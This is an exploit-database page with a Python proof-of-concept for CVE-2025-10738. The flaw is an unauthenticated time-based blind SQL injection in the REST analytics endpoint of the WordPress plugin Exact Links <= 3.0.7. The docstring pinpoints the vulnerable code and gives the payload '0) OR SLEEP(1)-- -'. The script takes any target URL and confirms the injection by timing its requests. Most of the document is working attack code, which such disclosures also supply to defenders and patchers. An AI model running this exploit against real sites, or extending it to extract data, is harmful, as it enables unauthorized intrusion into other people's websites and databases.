Share
## https://sploitus.com/exploit?id=PACKETSTORM:226423
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Exact Links (URL Shortener) <= 3.0.7 - Unauthenticated Time-Based Blind SQL Injection (REST)
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/exact-links/
# Software Link: https://downloads.wordpress.org/plugin/exact-links.3.0.7.zip
# Version: 3.0.7 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-10738
r"""
Exact Links <= 3.0.7 exposes GET /wp-json/exactlinks/v2/links/<id>/get_analytics whose policy
(app/Http/Policies/AdminPolicy.php:21) `return true;` (the capability check below it is dead code) โ
so the route is unauthenticated. AnalyticsController reads $request->get('analytic_id')
(app/Models/LinkAnalytics.php:23) and concatenates it raw (no prepare/intval) into several queries,
e.g. LinkAnalytics.php:150:
"SELECT $name, COUNT(link_id) as clicks FROM {$table}
WHERE (link_id = $analyticId) AND (conversion_text IS NULL) $dateWise GROUP BY $name"
`analytic_id` is numeric/unquoted context -> SQL injection with no quote needed. Because the value is
reused across ~11 analytics sub-queries per request, one injected SLEEP(1) delays the response ~11s.
Payload: 0) OR SLEEP(1)-- -
Prior state: at least one row in wp_exactlinks_analytics (a live shortener always has click rows).
"""
import argparse, sys, time, urllib.parse
import requests
requests.packages.urllib3.disable_warnings()
def probe(base, link_id, seconds):
q = "analytic_id=" + urllib.parse.quote("0) OR SLEEP(%d)-- -" % seconds)
t = time.time()
try:
requests.get(base + "/wp-json/exactlinks/v2/links/%s/get_analytics?%s" % (link_id, q),
verify=False, timeout=120)
except requests.exceptions.ReadTimeout:
return 120.0
return time.time() - t
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--link-id", default="1")
ap.add_argument("--sleep", type=int, default=1)
args = ap.parse_args()
base = args.target.rstrip("/")
t0 = probe(base, args.link_id, 0)
t1 = probe(base, args.link_id, args.sleep)
print(f"[*] Target: {base}")
print(f"[*] SLEEP(0): {t0:.2f}s | SLEEP({args.sleep}): {t1:.2f}s")
if (t1 - t0) >= args.sleep - 0.5:
print(f"\n[+] SQL INJECTION CONFIRMED โ unauthenticated attacker-controlled SLEEP delayed the "
f"response by {t1 - t0:.2f}s (analytic_id param; reused across many sub-queries).")
return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())